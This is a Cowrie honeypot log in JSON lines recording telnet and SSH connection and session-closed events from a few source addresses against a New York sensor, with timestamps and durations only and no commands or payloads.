{"eventid":"cowrie.session.closed","duration":30.631507635116577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:16.252963Z","src_ip":"164.68.122.45","session":"317b916e7b79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43032,"dst_ip":"10.17.0.5","dst_port":23,"session":"87045de59827","protocol":"telnet","message":"New connection: 199.231.212.75:43032 (10.17.0.5:23) [session: 87045de59827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:16.610977Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43034,"dst_ip":"10.17.0.5","dst_port":23,"session":"53fea96a665b","protocol":"telnet","message":"New connection: 199.231.212.75:43034 (10.17.0.5:23) [session: 53fea96a665b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:16.634001Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":33502,"dst_ip":"10.17.0.5","dst_port":23,"session":"50efd5bb29ec","protocol":"telnet","message":"New connection: 86.120.107.100:33502 (10.17.0.5:23) [session: 50efd5bb29ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:16.651797Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:16.657523Z","src_ip":"181.123.136.11","session":"a986d048bd38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.86515712738037,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:16.940397Z","src_ip":"164.68.122.45","session":"85bed0dd2269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03647780418396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:17.057602Z","src_ip":"199.231.212.75","session":"64d0a1c3d511","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613526105880737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:17.346093Z","src_ip":"199.231.212.75","session":"12b502e6d8ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.48988699913025,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:17.363991Z","src_ip":"164.68.122.45","session":"c968b8b04a91","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":33504,"dst_ip":"10.17.0.5","dst_port":23,"session":"ceb5e4661a79","protocol":"telnet","message":"New connection: 86.120.107.100:33504 (10.17.0.5:23) [session: ceb5e4661a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:17.568491Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43046,"dst_ip":"10.17.0.5","dst_port":23,"session":"aef0a6357038","protocol":"telnet","message":"New connection: 199.231.212.75:43046 (10.17.0.5:23) [session: aef0a6357038]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.174639Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43058,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ddbff17a65a","protocol":"telnet","message":"New connection: 199.231.212.75:43058 (10.17.0.5:23) [session: 3ddbff17a65a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.245411Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43068,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fc36503d85f","protocol":"telnet","message":"New connection: 199.231.212.75:43068 (10.17.0.5:23) [session: 8fc36503d85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.311057Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":33510,"dst_ip":"10.17.0.5","dst_port":23,"session":"0184881c3bdc","protocol":"telnet","message":"New connection: 86.120.107.100:33510 (10.17.0.5:23) [session: 0184881c3bdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.316005Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":57586,"dst_ip":"159.203.135.109","dst_port":23,"session":"ceb5c39385ba","protocol":"telnet","message":"New connection: 174.138.46.234:57586 (159.203.135.109:23) [session: ceb5c39385ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.403554Z"}
{"eventid":"cowrie.session.closed","duration":30.9543035030365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.653418Z","src_ip":"164.68.122.45","session":"872e485026e9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.016506910324097,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.829147Z","src_ip":"164.68.122.45","session":"6054db65e04e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02573871612549,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.832986Z","src_ip":"164.68.122.45","session":"c1ca31f9aeef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33274,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0bae0234cdb","protocol":"telnet","message":"New connection: 164.68.122.45:33274 (10.17.0.5:23) [session: e0bae0234cdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.838438Z"}
{"eventid":"cowrie.session.closed","duration":3.789734363555908,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.856341Z","src_ip":"174.138.46.234","session":"e6230c891177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43072,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e12b55b1673","protocol":"telnet","message":"New connection: 199.231.212.75:43072 (10.17.0.5:23) [session: 7e12b55b1673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:18.970693Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43080,"dst_ip":"10.17.0.5","dst_port":23,"session":"1350ceab3233","protocol":"telnet","message":"New connection: 199.231.212.75:43080 (10.17.0.5:23) [session: 1350ceab3233]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.084309Z"}
{"eventid":"cowrie.session.closed","duration":30.197795867919922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.144531Z","src_ip":"199.231.212.75","session":"3308d07d60cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.739349842071533,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.197423Z","src_ip":"199.231.212.75","session":"48ede4474e47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.247514486312866,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.211381Z","src_ip":"164.68.122.45","session":"43fb16910696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.067556142807007,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.236090Z","src_ip":"199.231.212.75","session":"c8484004e26e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33276,"dst_ip":"10.17.0.5","dst_port":23,"session":"8561ff8959ae","protocol":"telnet","message":"New connection: 164.68.122.45:33276 (10.17.0.5:23) [session: 8561ff8959ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.361464Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43086,"dst_ip":"10.17.0.5","dst_port":23,"session":"5caa2c14cd19","protocol":"telnet","message":"New connection: 199.231.212.75:43086 (10.17.0.5:23) [session: 5caa2c14cd19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.549261Z"}
{"eventid":"cowrie.session.closed","duration":30.96341848373413,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.625962Z","src_ip":"164.68.122.45","session":"b1748ef42ee0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43092,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3485e146f19","protocol":"telnet","message":"New connection: 199.231.212.75:43092 (10.17.0.5:23) [session: a3485e146f19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.690511Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33278,"dst_ip":"10.17.0.5","dst_port":23,"session":"89e7aa195ba7","protocol":"telnet","message":"New connection: 164.68.122.45:33278 (10.17.0.5:23) [session: 89e7aa195ba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.736770Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":43108,"dst_ip":"10.17.0.5","dst_port":23,"session":"da223f87aaa9","protocol":"telnet","message":"New connection: 199.231.212.75:43108 (10.17.0.5:23) [session: da223f87aaa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:19.913867Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50146,"dst_ip":"10.17.0.5","dst_port":23,"session":"97dc0c584c04","protocol":"telnet","message":"New connection: 199.231.212.75:50146 (10.17.0.5:23) [session: 97dc0c584c04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:20.106553Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50150,"dst_ip":"10.17.0.5","dst_port":23,"session":"e1256932bd57","protocol":"telnet","message":"New connection: 199.231.212.75:50150 (10.17.0.5:23) [session: e1256932bd57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:20.111659Z"}
{"eventid":"cowrie.session.closed","duration":5.970861911773682,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:20.535060Z","src_ip":"174.138.46.234","session":"9147d4529ab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33728,"dst_ip":"10.17.0.5","dst_port":23,"session":"e77f071877b9","protocol":"telnet","message":"New connection: 164.68.122.45:33728 (10.17.0.5:23) [session: e77f071877b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:20.541430Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33742,"dst_ip":"10.17.0.5","dst_port":23,"session":"40078c083eb4","protocol":"telnet","message":"New connection: 164.68.122.45:33742 (10.17.0.5:23) [session: 40078c083eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:20.686392Z"}
{"eventid":"cowrie.session.closed","duration":31.65605139732361,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:20.695500Z","src_ip":"164.68.122.45","session":"6e963cd138ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50152,"dst_ip":"10.17.0.5","dst_port":23,"session":"612833ce4133","protocol":"telnet","message":"New connection: 199.231.212.75:50152 (10.17.0.5:23) [session: 612833ce4133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:20.796966Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33752,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed7ef096b042","protocol":"telnet","message":"New connection: 164.68.122.45:33752 (10.17.0.5:23) [session: ed7ef096b042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:21.291557Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50168,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a29117edac","protocol":"telnet","message":"New connection: 199.231.212.75:50168 (10.17.0.5:23) [session: 51a29117edac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:21.563106Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50176,"dst_ip":"10.17.0.5","dst_port":23,"session":"e176b8e0c026","protocol":"telnet","message":"New connection: 199.231.212.75:50176 (10.17.0.5:23) [session: e176b8e0c026]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:21.587848Z"}
{"eventid":"cowrie.session.closed","duration":31.107691049575806,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:21.674782Z","src_ip":"199.231.212.75","session":"390fd9a8ecef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.445928812026978,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:21.797329Z","src_ip":"86.120.107.100","session":"a87745c78dcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.708534002304077,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:22.111201Z","src_ip":"86.120.107.100","session":"98287aa631f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33768,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca2030e44a92","protocol":"telnet","message":"New connection: 164.68.122.45:33768 (10.17.0.5:23) [session: ca2030e44a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:22.116060Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33772,"dst_ip":"10.17.0.5","dst_port":23,"session":"fce3ba9af827","protocol":"telnet","message":"New connection: 164.68.122.45:33772 (10.17.0.5:23) [session: fce3ba9af827]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:22.187407Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33780,"dst_ip":"10.17.0.5","dst_port":23,"session":"5b164348d393","protocol":"telnet","message":"New connection: 164.68.122.45:33780 (10.17.0.5:23) [session: 5b164348d393]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:22.416679Z"}
{"eventid":"cowrie.session.closed","duration":31.201456308364868,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:22.527495Z","src_ip":"164.68.122.45","session":"d61d9df7c386","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33782,"dst_ip":"10.17.0.5","dst_port":23,"session":"90a70157bdc3","protocol":"telnet","message":"New connection: 164.68.122.45:33782 (10.17.0.5:23) [session: 90a70157bdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:22.816597Z"}
{"eventid":"cowrie.session.closed","duration":30.48253107070923,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:23.133853Z","src_ip":"199.231.212.75","session":"91fd8f6301e7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32797884941101,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:23.232118Z","src_ip":"164.68.122.45","session":"b0ac6239162c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33794,"dst_ip":"10.17.0.5","dst_port":23,"session":"e88e30cde81a","protocol":"telnet","message":"New connection: 164.68.122.45:33794 (10.17.0.5:23) [session: e88e30cde81a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:23.237237Z"}
{"eventid":"cowrie.session.closed","duration":31.131223678588867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:23.245922Z","src_ip":"164.68.122.45","session":"25d86bbba04e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47119903564453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:23.313990Z","src_ip":"164.68.122.45","session":"4611fa5f0353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50190,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ae4aee5d431","protocol":"telnet","message":"New connection: 199.231.212.75:50190 (10.17.0.5:23) [session: 2ae4aee5d431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:23.761981Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33802,"dst_ip":"10.17.0.5","dst_port":23,"session":"993fafd02ccd","protocol":"telnet","message":"New connection: 164.68.122.45:33802 (10.17.0.5:23) [session: 993fafd02ccd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:23.884448Z"}
{"eventid":"cowrie.session.closed","duration":31.62875986099243,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:23.901149Z","src_ip":"164.68.122.45","session":"bf5cd8b0f841","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50194,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5d67cb5336f","protocol":"telnet","message":"New connection: 199.231.212.75:50194 (10.17.0.5:23) [session: d5d67cb5336f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:23.969653Z"}
{"eventid":"cowrie.session.closed","duration":30.8704195022583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:24.078932Z","src_ip":"199.231.212.75","session":"4aa0ae57cee5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33816,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa6b8fc9e72","protocol":"telnet","message":"New connection: 164.68.122.45:33816 (10.17.0.5:23) [session: 8fa6b8fc9e72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:24.216367Z"}
{"eventid":"cowrie.session.closed","duration":31.235479831695557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:24.275089Z","src_ip":"164.68.122.45","session":"cdb39fe69b90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50202,"dst_ip":"10.17.0.5","dst_port":23,"session":"a68bf3aac009","protocol":"telnet","message":"New connection: 199.231.212.75:50202 (10.17.0.5:23) [session: a68bf3aac009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:24.283510Z"}
{"eventid":"cowrie.session.closed","duration":30.460728406906128,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:24.297740Z","src_ip":"199.231.212.75","session":"a0df3183a0cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50210,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e8ac5d2b2c1","protocol":"telnet","message":"New connection: 199.231.212.75:50210 (10.17.0.5:23) [session: 3e8ac5d2b2c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:24.350770Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33830,"dst_ip":"10.17.0.5","dst_port":23,"session":"b019add28c82","protocol":"telnet","message":"New connection: 164.68.122.45:33830 (10.17.0.5:23) [session: b019add28c82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:24.538393Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41936,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1f86d236c53","protocol":"telnet","message":"New connection: 86.120.107.100:41936 (10.17.0.5:23) [session: f1f86d236c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:24.902324Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33838,"dst_ip":"10.17.0.5","dst_port":23,"session":"b82a112b0cce","protocol":"telnet","message":"New connection: 164.68.122.45:33838 (10.17.0.5:23) [session: b82a112b0cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:25.030929Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33846,"dst_ip":"10.17.0.5","dst_port":23,"session":"04f1d087378e","protocol":"telnet","message":"New connection: 164.68.122.45:33846 (10.17.0.5:23) [session: 04f1d087378e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:25.149956Z"}
{"eventid":"cowrie.session.closed","duration":30.29913020133972,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:25.231927Z","src_ip":"164.68.122.45","session":"dbb9a7a71103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.705893516540527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:25.904500Z","src_ip":"199.231.212.75","session":"3907bf6ab0ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":33850,"dst_ip":"10.17.0.5","dst_port":23,"session":"6182939bda94","protocol":"telnet","message":"New connection: 164.68.122.45:33850 (10.17.0.5:23) [session: 6182939bda94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:25.997571Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41946,"dst_ip":"10.17.0.5","dst_port":23,"session":"96fe1c83954e","protocol":"telnet","message":"New connection: 86.120.107.100:41946 (10.17.0.5:23) [session: 96fe1c83954e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:26.192648Z"}
{"eventid":"cowrie.session.closed","duration":31.289028882980347,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:26.336792Z","src_ip":"199.231.212.75","session":"431d83c73ad1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50214,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd9ebe051cf9","protocol":"telnet","message":"New connection: 199.231.212.75:50214 (10.17.0.5:23) [session: cd9ebe051cf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:26.474519Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50228,"dst_ip":"10.17.0.5","dst_port":23,"session":"33e328c3ff0f","protocol":"telnet","message":"New connection: 199.231.212.75:50228 (10.17.0.5:23) [session: 33e328c3ff0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:26.655856Z"}
{"eventid":"cowrie.session.closed","duration":31.877145290374756,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:26.959375Z","src_ip":"199.231.212.75","session":"99385fd5819b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51480770111084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:27.077843Z","src_ip":"199.231.212.75","session":"29fdf3c25c56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20587730407715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:27.090459Z","src_ip":"164.68.122.45","session":"de0e5a021bd9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.996530294418335,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:27.121920Z","src_ip":"86.120.107.100","session":"6cb26626b624","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":50240,"dst_ip":"10.17.0.5","dst_port":23,"session":"2746d29ed1ad","protocol":"telnet","message":"New connection: 199.231.212.75:50240 (10.17.0.5:23) [session: 2746d29ed1ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:29:27.186267Z"}
